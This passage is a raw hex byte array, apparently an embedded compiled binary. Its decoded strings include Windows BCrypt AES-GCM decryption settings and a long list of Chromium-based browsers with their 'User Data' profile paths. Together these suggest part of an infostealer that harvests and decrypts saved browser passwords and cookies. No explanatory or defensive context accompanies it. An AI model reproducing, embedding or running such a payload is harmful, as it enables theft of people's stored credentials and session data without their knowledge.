0x00, 0x70, 0x00, 0x74, 0x00, 0x47, 0x00, 0x65,\n\t0x00, 0x74, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x65,\n\t0x00, 0x72, 0x00, 0x74, 0x00, 0x79, 0x00, 0x28, 0x00, 0x29, 0x00, 0x20,\n\t0x00, 0x66, 0x00, 0x61, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x64,\n\t0x00, 0x20, 0x00, 0x77, 0x00, 0x69, 0x00, 0x74, 0x00, 0x68, 0x00, 0x20,\n\t0x00, 0x73, 0x00, 0x74, 0x00, 0x61, 0x00, 0x74, 0x00, 0x75, 0x00, 0x73,\n\t0x00, 0x20, 0x00, 0x63, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x65, 0x00, 0x3A,\n\t0x00, 0x7B, 0x00, 0x30, 0x00, 0x7D, 0x00, 0x00, 0x19, 0x4F, 0x00, 0x62,\n\t0x00, 0x6A, 0x00, 0x65, 0x00, 0x63, 0x00, 0x74, 0x00, 0x4C, 0x00, 0x65,\n\t0x00, 0x6E, 0x00, 0x67, 0x00, 0x74, 0x00, 0x68, 0x00, 0x00, 0x1F, 0x43,\n\t0x00, 0x68, 0x00, 0x61, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x6E,\n\t0x00, 0x67, 0x00, 0x4D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x65, 0x00, 0x47,\n\t0x00, 0x43, 0x00, 0x4D, 0x00, 0x00, 0x1B, 0x41, 0x00, 0x75, 0x00, 0x74,\n\t0x00, 0x68, 0x00, 0x54, 0x00, 0x61, 0x00, 0x67, 0x00, 0x4C, 0x00, 0x65,\n\t0x00, 0x6E, 0x00, 0x67, 0x00, 0x74, 0x00, 0x68, 0x00, 0x00, 0x19, 0x43,\n\t0x00, 0x68, 0x00, 0x61, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x6E,\n\t0x00, 0x67, 0x00, 0x4D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x65, 0x00, 0x00,\n\t0x17, 0x4B, 0x00, 0x65, 0x00, 0x79, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74,\n\t0x00, 0x61, 0x00, 0x42, 0x00, 0x6C, 0x00, 0x6F, 0x00, 0x62, 0x00, 0x00,\n\t0x07, 0x41, 0x00, 0x45, 0x00, 0x53, 0x00, 0x00, 0x39, 0x4D, 0x00, 0x69,\n\t0x00, 0x63, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x73, 0x00, 0x6F, 0x00, 0x66,\n\t0x00, 0x74, 0x00, 0x20, 0x00, 0x50, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6D,\n\t0x00, 0x69, 0x00, 0x74, 0x00, 0x69, 0x00, 0x76, 0x00, 0x65, 0x00, 0x20,\n\t0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x76, 0x00, 0x69, 0x00, 0x64,\n\t0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x0D, 0x43, 0x00, 0x68, 0x00, 0x72,\n\t0x00, 0x6F, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x31, 0x5C, 0x00, 0x47,\n\t0x00, 0x6F, 0x00, 0x6F, 0x00, 0x67, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x5C,\n\t0x00, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x65,\n\t0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20,\n\t0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x17, 0x41,\n\t0x00, 0x56, 0x00, 0x47, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F,\n\t0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x2D, 0x5C,\n\t0x00, 0x41, 0x00, 0x56, 0x00, 0x47, 0x00, 0x5C, 0x00, 0x42, 0x00, 0x72,\n\t0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C,\n\t0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44,\n\t0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0B, 0x4B, 0x00, 0x69,\n\t0x00, 0x6E, 0x00, 0x7A, 0x00, 0x61, 0x00, 0x00, 0x21, 0x5C, 0x00, 0x4B,\n\t0x00, 0x69, 0x00, 0x6E, 0x00, 0x7A, 0x00, 0x61, 0x00, 0x5C, 0x00, 0x55,\n\t0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61,\n\t0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x13, 0x55, 0x00, 0x52, 0x00, 0x42,\n\t0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72,\n\t0x00, 0x00, 0x29, 0x5C, 0x00, 0x55, 0x00, 0x52, 0x00, 0x42, 0x00, 0x72,\n\t0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C,\n\t0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44,\n\t0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x1D, 0x41, 0x00, 0x56,\n\t0x00, 0x41, 0x00, 0x53, 0x00, 0x54, 0x00, 0x20, 0x00, 0x53, 0x00, 0x6F,\n\t0x00, 0x66, 0x00, 0x74, 0x00, 0x77, 0x00, 0x61, 0x00, 0x72, 0x00, 0x65,\n\t0x00, 0x00, 0x43, 0x5C, 0x00, 0x41, 0x00, 0x56, 0x00, 0x41, 0x00, 0x53,\n\t0x00, 0x54, 0x00, 0x20, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x66, 0x00, 0x74,\n\t0x00, 0x77, 0x00, 0x61, 0x00, 0x72, 0x00, 0x65, 0x00, 0x5C, 0x00, 0x42,\n\t0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72,\n\t0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20,\n\t0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x11, 0x53,\n\t0x00, 0x61, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x57, 0x00, 0x65,\n\t0x00, 0x62, 0x00, 0x00, 0x27, 0x5C, 0x00, 0x53, 0x00, 0x61, 0x00, 0x6C,\n\t0x00, 0x61, 0x00, 0x6D, 0x00, 0x57, 0x00, 0x65, 0x00, 0x62, 0x00, 0x5C,\n\t0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44,\n\t0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x11, 0x43, 0x00, 0x43,\n\t0x00, 0x6C, 0x00, 0x65, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x72,\n\t0x00, 0x00, 0x37, 0x5C, 0x00, 0x43, 0x00, 0x43, 0x00, 0x6C, 0x00, 0x65,\n\t0x00, 0x61, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x42,\n\t0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72,\n\t0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20,\n\t0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0B, 0x4F,\n\t0x00, 0x70, 0x00, 0x65, 0x00, 0x72, 0x00, 0x61, 0x00, 0x00, 0x37, 0x4F,\n\t0x00, 0x70, 0x00, 0x65, 0x00, 0x72, 0x00, 0x61, 0x00, 0x20, 0x00, 0x53,\n\t0x00, 0x6F, 0x00, 0x66, 0x00, 0x74, 0x00, 0x77, 0x00, 0x61, 0x00, 0x72,\n\t0x00, 0x65, 0x00, 0x5C, 0x00, 0x4F, 0x00, 0x70, 0x00, 0x65, 0x00, 0x72,\n\t0x00, 0x61, 0x00, 0x20, 0x00, 0x53, 0x00, 0x74, 0x00, 0x61, 0x00, 0x62,\n\t0x00, 0x6C, 0x00, 0x65, 0x00, 0x00, 0x0D, 0x59, 0x00, 0x61, 0x00, 0x6E,\n\t0x00, 0x64, 0x00, 0x65, 0x00, 0x78, 0x00, 0x00, 0x3D, 0x59, 0x00, 0x61,\n\t0x00, 0x6E, 0x00, 0x64, 0x00, 0x65, 0x00, 0x78, 0x00, 0x5C, 0x00, 0x59,\n\t0x00, 0x61, 0x00, 0x6E, 0x00, 0x64, 0x00, 0x65, 0x00, 0x78, 0x00, 0x42,\n\t0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72,\n\t0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20,\n\t0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0F, 0x53,\n\t0x00, 0x6C, 0x00, 0x69, 0x00, 0x6D, 0x00, 0x6A, 0x00, 0x65, 0x00, 0x74,\n\t0x00, 0x00, 0x23, 0x53, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x6D, 0x00, 0x6A,\n\t0x00, 0x65, 0x00, 0x74, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65,\n\t0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61,\n\t0x00, 0x00, 0x17, 0x33, 0x00, 0x36, 0x00, 0x30, 0x00, 0x20, 0x00, 0x42,\n\t0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72,\n\t0x00, 0x00, 0x37, 0x5C, 0x00, 0x33, 0x00, 0x36, 0x00, 0x30, 0x00, 0x43,\n\t0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x5C,\n\t0x00, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x65,\n\t0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20,\n\t0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x1B, 0x43,\n\t0x00, 0x6F, 0x00, 0x6D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x20,\n\t0x00, 0x44, 0x00, 0x72, 0x00, 0x61, 0x00, 0x67, 0x00, 0x6F, 0x00, 0x6E,\n\t0x00, 0x00, 0x2F, 0x43, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x6F, 0x00, 0x64,\n\t0x00, 0x6F, 0x00, 0x5C, 0x00, 0x44, 0x00, 0x72, 0x00, 0x61, 0x00, 0x67,\n\t0x00, 0x6F, 0x00, 0x6E, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65,\n\t0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61,\n\t0x00, 0x00, 0x11, 0x43, 0x00, 0x6F, 0x00, 0x6F, 0x00, 0x6C, 0x00, 0x4E,\n\t0x00, 0x6F, 0x00, 0x76, 0x00, 0x6F, 0x00, 0x00, 0x41, 0x4D, 0x00, 0x61,\n\t0x00, 0x70, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x53, 0x00, 0x74, 0x00, 0x75,\n\t0x00, 0x64, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x5C, 0x00, 0x43, 0x00, 0x68,\n\t0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x50, 0x00, 0x6C,\n\t0x00, 0x75, 0x00, 0x73, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65,\n\t0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61,\n\t0x00, 0x00, 0x3D, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D,\n\t0x00, 0x69, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x20, 0x00, 0x7C, 0x00, 0x20,\n\t0x00, 0x53, 0x00, 0x52, 0x00, 0x57, 0x00, 0x61, 0x00, 0x72, 0x00, 0x65,\n\t0x00, 0x20, 0x00, 0x49, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x20,\n\t0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65,\n\t0x00, 0x72, 0x00, 0x00, 0x25, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F,\n\t0x00, 0x6D, 0x00, 0x69, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x5C, 0x00, 0x55,\n\t0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61,\n\t0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x1B, 0x54, 0x00, 0x6F, 0x00, 0x72,\n\t0x00, 0x63, 0x00, 0x68, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F,\n\t0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x1F, 0x54,\n\t0x00, 0x6F, 0x00, 0x72, 0x00, 0x63, 0x00, 0x68, 0x00, 0x5C, 0x00, 0x55,\n\t0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61,\n\t0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x1B, 0x42, 0x00, 0x72, 0x00, 0x61,\n\t0x00, 0x76, 0x00, 0x65, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F,\n\t0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x4B, 0x42,\n\t0x00, 0x72, 0x00, 0x61, 0x00, 0x76, 0x00, 0x65, 0x00, 0x53, 0x00, 0x6F,\n\t0x00, 0x66, 0x00, 0x74, 0x00, 0x77, 0x00, 0x61, 0x00, 0x72, 0x00, 0x65,\n\t0x00, 0x5C, 0x00, 0x42, 0x00, 0x72, 0x00, 0x61, 0x00, 0x76, 0x00, 0x65,\n\t0x00, 0x2D, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73,\n\t0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65,\n\t0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61,\n\t0x00, 0x01, 0x1F, 0x49, 0x00, 0x72, 0x00, 0x69, 0x00, 0x64, 0x00, 0x69,\n\t0x00, 0x75, 0x00, 0x6D, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F,\n\t0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x25, 0x5C,\n\t0x00, 0x49, 0x00, 0x72, 0x00, 0x69, 0x00, 0x64, 0x00, 0x69, 0x00, 0x75,\n\t0x00, 0x6D, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72,\n\t0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00,\n\t0x15, 0x4F, 0x00, 0x70, 0x00, 0x65, 0x00, 0x72, 0x00, 0x61, 0x00, 0x20,\n\t0x00, 0x4E, 0x00, 0x65, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x47, 0x4F,\n\t0x00, 0x70, 0x00, 0x65, 0x00, 0x72, 0x00, 0x61, 0x00, 0x20, 0x00, 0x53,\n\t0x00, 0x6F, 0x00, 0x66, 0x00, 0x74, 0x00, 0x77, 0x00, 0x61, 0x00, 0x72,\n\t0x00, 0x65, 0x00, 0x5C, 0x00, 0x4F, 0x00, 0x70, 0x00, 0x65, 0x00, 0x72,\n\t0x00, 0x61, 0x00, 0x20, 0x00, 0x4E, 0x00, 0x65, 0x00, 0x6F, 0x00, 0x6E,\n\t0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20,\n\t0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0B, 0x37,\n\t0x00, 0x53, 0x00, 0x74, 0x00, 0x61, 0x00, 0x72, 0x00, 0x00, 0x2B, 0x37,\n\t0x00, 0x53, 0x00, 0x74, 0x00, 0x61, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x37,\n\t0x00, 0x53, 0x00, 0x74, 0x00, 0x61, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55,\n\t0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61,\n\t0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0B, 0x41, 0x00, 0x6D, 0x00, 0x69,\n\t0x00, 0x67, 0x00, 0x6F, 0x00, 0x00, 0x1F, 0x41, 0x00, 0x6D, 0x00, 0x69,\n\t0x00, 0x67, 0x00, 0x6F, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65,\n\t0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61,\n\t0x00, 0x00, 0x0B, 0x42, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x73, 0x00, 0x6B,\n\t0x00, 0x00, 0x1F, 0x42, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x73, 0x00, 0x6B,\n\t0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20,\n\t0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x17, 0x43,\n\t0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F,\n\t0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x2B, 0x43,\n\t0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F,\n\t0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55,\n\t0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61,\n\t0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0D, 0x43, 0x00, 0x68, 0x00, 0x65,\n\t0x00, 0x64, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x00, 0x21, 0x43, 0x00, 0x68,\n\t0x00, 0x65, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x5C, 0x00, 0x55,\n\t0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61,\n\t0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0D, 0x43, 0x00, 0x6F, 0x00, 0x63,\n\t0x00, 0x43, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x00, 0x31, 0x43, 0x00, 0x6F,\n\t0x00, 0x63, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x5C, 0x00, 0x42,\n\t0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72,\n\t0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20,\n\t0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x21, 0x45,\n\t0x00, 0x6C, 0x00, 0x65, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74,\n\t0x00, 0x73, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77,\n\t0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x35, 0x45, 0x00, 0x6C,\n\t0x00, 0x65, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x73,\n\t0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73,\n\t0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65,\n\t0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61,\n\t0x00, 0x00, 0x29, 0x45, 0x00, 0x70, 0x00, 0x69, 0x00, 0x63, 0x00, 0x20,\n\t0x00, 0x50, 0x00, 0x72, 0x00, 0x69, 0x00, 0x76, 0x00, 0x61, 0x00, 0x63,\n\t0x00, 0x79, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77,\n\t0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x3D, 0x45, 0x00, 0x70,\n\t0x00, 0x69, 0x00, 0x63, 0x00, 0x20, 0x00, 0x50, 0x00, 0x72, 0x00, 0x69,\n\t0x00, 0x76, 0x00, 0x61, 0x00, 0x63, 0x00, 0x79, 0x00, 0x20, 0x00, 0x42,\n\t0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72,\n\t0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20,\n\t0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0D, 0x4B,\n\t0x00, 0x6F, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00,\n\t0x21, 0x4B, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x74, 0x00, 0x61,\n\t0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20,\n\t0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0F, 0x4F,\n\t0x00, 0x72, 0x00, 0x62, 0x00, 0x69, 0x00, 0x74, 0x00, 0x75, 0x00, 0x6D,\n\t0x00, 0x00, 0x23, 0x4F, 0x00, 0x72, 0x00, 0x62, 0x00, 0x69, 0x00, 0x74,\n\t0x00, 0x75, 0x00, 0x6D, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65,\n\t0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61,\n\t0x00, 0x00, 0x0F, 0x53, 0x00, 0x70, 0x00, 0x75, 0x00, 0x74, 0x00, 0x6E,\n\t0x00, 0x69, 0x00, 0x6B, 0x00, 0x00, 0x33, 0x53, 0x00, 0x70, 0x00, 0x75,\n\t0x00, 0x74, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x6B, 0x00, 0x5C, 0x00, 0x53,\n\t0x00, 0x70, 0x00, 0x75, 0x00, 0x74, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x6B,\n\t0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20,\n\t0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x13, 0x75,\n\t0x00, 0x43, 0x00, 0x6F, 0x00, 0x7A, 0x00, 0x4D, 0x00, 0x65, 0x00, 0x64,\n\t0x00, 0x69, 0x00, 0x61, 0x00, 0x00, 0x31, 0x75, 0x00, 0x43, 0x00, 0x6F,\n\t0x00, 0x7A, 0x00, 0x4D, 0x00, 0x65, 0x00, 0x64, 0x00, 0x69, 0x00, 0x61,\n\t0x00, 0x5C, 0x00, 0x55, 0x00, 0x72, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x5C,\n\t0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44,\n\t0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0F, 0x56, 0x00, 0x69,\n\t0x00, 0x76, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x64, 0x00, 0x69, 0x00, 0x00,\n\t0x23, 0x56, 0x00, 0x69, 0x00, 0x76, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x64,\n\t0x00, 0x69, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72,\n\t0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00,\n\t0x15, 0x53, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x69, 0x00, 0x70, 0x00, 0x6E,\n\t0x00, 0x69, 0x00, 0x72, 0x00, 0x20, 0x00, 0x36, 0x00, 0x00, 0x67, 0x46,\n\t0x00, 0x65, 0x00, 0x6E, 0x00, 0x72, 0x00, 0x69, 0x00, 0x72, 0x00, 0x20,\n\t0x00, 0x49, 0x00, 0x6E, 0x00, 0x63, 0x00, 0x5C, 0x00, 0x53, 0x00, 0x6C,\n\t0x00, 0x65, 0x00, 0x69, 0x00, 0x70, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x72,\n\t0x00, 0x35, 0x00, 0x5C, 0x00, 0x73, 0x00, 0x65, 0x00, 0x74, 0x00, 0x74,\n\t0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x5C, 0x00, 0x6D, 0x00, 0x6F,\n\t0x00, 0x64, 0x00, 0x75, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x73, 0x00, 0x5C,\n\t0x00, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x69,\n\t0x00, 0x75, 0x00, 0x6D, 0x00, 0x56, 0x00, 0x69, 0x00, 0x65, 0x00, 0x77,\n\t0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x0D, 0x43, 0x00, 0x69, 0x00, 0x74,\n\t0x00, 0x72, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x00, 0x3D, 0x43, 0x00, 0x61,\n\t0x00, 0x74, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x61,\n\t0x00, 0x47, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x70, 0x00, 0x5C,\n\t0x00, 0x43, 0x00, 0x69, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6F,\n\t0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20,\n\t0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0D, 0x43,\n\t0x00, 0x6F, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00,\n\t0x2F, 0x43, 0x00, 0x6F, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x6E,\n\t0x00, 0x5C, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x6F,\n\t0x00, 0x6E, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72,\n\t0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00,\n\t0x1D, 0x4C, 0x00, 0x69, 0x00, 0x65, 0x00, 0x62, 0x00, 0x61, 0x00, 0x6F,\n\t0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73,\n\t0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x21, 0x6C, 0x00, 0x69, 0x00, 0x65,\n\t0x00, 0x62, 0x00, 0x61, 0x00, 0x6F, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73,\n\t0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74,\n\t0x00, 0x61, 0x00, 0x00, 0x11, 0x51, 0x00, 0x49, 0x00, 0x50, 0x00, 0x20,\n\t0x00, 0x53, 0x00, 0x75, 0x00, 0x72, 0x00, 0x66, 0x00, 0x00, 0x25, 0x51,\n\t0x00, 0x49, 0x00, 0x50, 0x00, 0x20, 0x00, 0x53, 0x00, 0x75, 0x00, 0x72,\n\t0x00, 0x66, 0x00, 0x5C, 